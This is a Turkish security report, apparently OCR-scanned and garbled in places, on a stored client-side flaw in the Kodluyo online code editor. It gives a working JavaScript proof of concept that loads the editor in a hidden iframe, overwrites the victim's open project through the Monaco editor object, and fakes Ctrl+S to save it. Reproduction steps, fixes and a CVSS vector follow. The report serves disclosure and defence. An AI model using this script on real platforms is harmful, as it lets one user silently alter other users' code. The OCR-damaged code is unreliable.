Kodluyo Platformu Giivenlik Raporu

Zafiyet Bashg

Authenticated Action Abuse ile Kullanici Kodlarinin Yetkisiz Degistirilmesi

Zafiyet Tiirti

Authenticated Action Abuse / Stored Client-Side Exploit

Etkilenen Sistem
app.kodluyo.com/editor

Zafiyet Seviyesi
High

Zafiyet Aciklamasi

Kodluyo platformunun edit6r sistemi icerisinde, bir kullanici tarafindan yayinlanan kod veya
paylasilan URL iizerinden bagka bir kullanici edit6r sayfasini actiginda, tarayici tarafinda galisan bir
exploit tetiklenebilmektedir.

Bu exploit, iframe {izerinden aym origin olan editor sayfasim ytiikleyerek hedef kullanicinin aktif
projesine erismekte ve Monaco Editor nesnesini kullanarak proje icerigini degistirebilmektedir.

Sistem icerisinde yeterli origin izolasyonu ve action dogrulamasi yapilmadig: icin:

* Kaullanicinin acik olan projesi tespit edilebiliyor
* Monaco editor iizerinden kod igerigi degistirilebiliyor
» Ctrl+S tetiklenerek otomatik kayit yapilabiliyor
* Kullanicinin haberi olmadan kodlar1 degistirilebiliyor

Bu durum, authenticated kullanicilarin kendi hesaplar iizerinden yetkisiz aksiyonlarin
tetiklenmesine neden olmaktadir.

Zafiyet, bir kullanicinin zararh bir kod yayinlamasi veya URL paylagsmasi durumunda, bagka
kullamicilarin bu URL'yi agmasiyla otomatik olarak tetiklenmektedir.

Etki (Impact)
Bu zafiyet asagidaki giivenlik risklerine yol agcmaktadir:

» Kaullanici projelerinin yetkisiz degistirilmesi
* Kod iceriklerinin manipiile edilmesi
» Zararh scriptlerin projelere enjekte edilmesi



» Egitim ve proje ortaminin giivenilirliginin bozulmasi

» Kaullanici hesaplar tizerinden istem digsi islem yapilmasi
* Supply chain saldirilarina zemin hazirlanmasi

* Platform giivenilirliginin ciddi sekilde zarar gérmesi

Kaéti niyetli bir saldirgan:

* Kaullanicilarin projelerini degistirebilir

e Zararh kodlar yerlestirebilir

* Egitim ortamini sabote edebilir

* Platform tizerinde genis capli maniptilasyon yapabilir

Zafiyetin Teknik Sebebi

Sorunun temel nedeni:

* Same-origin iframe erisiminin kontrol edilmemesi
* Monaco editor nesnesine global erisim olmasi

* URL parametresi ile proje agilabilmesi

* Authenticated action'larin dogrulanmamasi

* Client-side aksiyonlarin kontrolsiiz olmasi

* CSP ve iframe izolasyonunun yetersiz olmasi

Ozellikle:

iframe.contentWindow erisimi
monaco.editor.getModels()
setvValue()

KeyboardEvent ctrl+s

kombinasyonu, kullanic1 adina islem yapilmasina izin vermektedir.

PoC (Proof of Concept)

Asagidaki exploit kodu yayinlanan bir kod igerisinde veya paylagilan URL iizerinden
calistirnldiginda, bagka bir kullanic1 editorii agtiginda otomatik olarak tetiklenmektedir.

<script>

(async function() {
console.log("Script basladi...");

await new Promise(r => setTimeout(r, 2000));

let iframe = document.createElement("iframe");

iframe.style.cssText =
"position:fixed;width:1px;height:1px;opacity:0;pointer-events:none;";

document .body.appendChild(iframe);

const loaded = new Promise(r => { iframe.onload = r; });

iframe.src = "https://app.kodluyo.com/editor";

await loaded;

await new Promise(r => setTimeout(r, 3000));

let win = iframe.contentWindow;



let doc = win.document;
let projects = await new Promise((resolve, reject) => {
let elapsed = 0;
let 1 = setInterval(() => {
let els = doc.querySelectorAll("div[openfile]");
if (els.length > 0) {
clearInterval(i);
resolve(els);
}
elapsed += 500;
if (elapsed >= 30000) {
clearInterval(i);
reject("proje bulunamadi");
}
}, 500);
}).catch(e => {
console.error(e);
return null;
1);
if (!projects) return;
let project = [...projects].map(p => p.innerText.trim())[0];
win.history.pushState({}, "", “/editor/?project=$
{encodeURIComponent(project)} );
win.dispatchEvent(new win.PopStateEvent("popstate"));
await new Promise(r => setTimeout(r, 2000));
await new Promise((resolve, reject) => {
let elapsed = 0;
let 1 = setInterval(() => {
if (win.monaco && win.monaco.editor.getModels().length > 0) {
clearInterval(i);
resolve();

elapsed += 500;

if (elapsed >= 30000) {
clearInterval(i);
reject("monaco bulunamadi");

}, 500);
}).catch(e => console.error(e));
win.monaco.editor.getModels()[0].setValue("<hl>herkese merhaba ben

umutlalala</h1>");
win.document.dispatchEvent (

new win.KeyboardEvent ("keydown", {

key: IISIII
ctrlKey: true,
bubbles: true

i3]
);

console. log("Kaydedildi");
10O

</script>

Adim Adim Reproduction

1. Kodluyo editor sistemine giris yapilir

Zararh script iceren kod yayinlanir veya paylasilir
Bagka bir kullanic1 bu URL'yi agar

Script otomatik olarak calisir

iframe tizerinden editor yiiklenir

AR



6. Kullanicinin agik projesi tespit edilir

7. Monaco editor {izerinden kod degistirilir
8. Ctrl+S tetiklenir

9. Kullanicinin projesi degistirilmis olur

Beklenen Davranis

* Kaullanici adina client-side igslem yapilmamali

* iframe ile editor erisimi engellenmeli

* Monaco editor global erisime kapatilmali

* URL iizerinden proje acma giivenli hale getirilmeli
* Authenticated aksiyonlar dogrulanmali

Onerilen Céziim

1. X-Frame-Options
X-Frame-Options: DENY
veya

Content-Security-Policy: frame-ancestors 'none'

2. Same Origin Iframe Engeli

iframe tizerinden editor erisimi tamamen kapatilmali.

3. Monaco Editor Protection

window.monaco erisimi kapatilmali
veya

editor nesnesi private scope icine alinmal.

4. Action Verification

Ctrl+S gibi kayit islemleri:

e user interaction kontrolii
¢ event trusted kontrolii
* token dogrulamasi

ile yapilmali.




5. CSP Politikasi

Content-Security-Policy:
script-src 'self!'
frame-ancestors 'none'
object-src 'none'

CVSS Skoru

CVSS 3.1
High

Vector

AV:N

AC:L

PR:L

UI:R

S:uU

C:L

I:H

Gerekli giivenlik 6nlemleri alinmadig1 takdirde, platform {izerinde genis ¢apli kod manipiilasyonu
ve giiven kaybi olusabilir.
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